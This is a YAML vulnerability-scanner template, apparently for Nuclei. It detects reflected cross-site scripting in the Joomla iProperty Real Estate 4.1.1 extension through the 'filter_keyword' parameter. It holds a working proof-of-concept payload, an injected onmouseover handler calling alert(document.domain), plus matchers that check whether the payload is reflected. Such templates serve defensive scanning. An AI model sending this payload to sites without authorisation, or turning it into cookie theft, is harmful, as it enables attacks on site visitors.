id: joomla-iproperty-xss

info:
  name: Joomla iProperty Real Estate 4.1.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Joomla extension iproperty is vulnerable to XSS in GET parameter 'filter_keyword'.
  reference:
    - https://www.exploit-db.com/exploits/51640
    - https://cxsecurity.com/issue/WLB-2023070076
    - https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/
  metadata:
    verified: true
    max-request: 1
  tags: joomla,xss,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/iproperty/property-views/all-properties-with-map?filter_keyword=pihil%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22f63m4&option=com_iproperty&view=allproperties&ipquicksearch=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)"style='
          - 'real estate'
        condition: and

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100cca2420f9befed720c78ccc259286afc3e34f235d4053c4ba45fe6afa38ef842022100ceac013e9a43f8271ffc2df440ce42b0f954ae0442fa9faeffdbbafdd4e9df4e:922c64590222798bb761d5b6d8e72950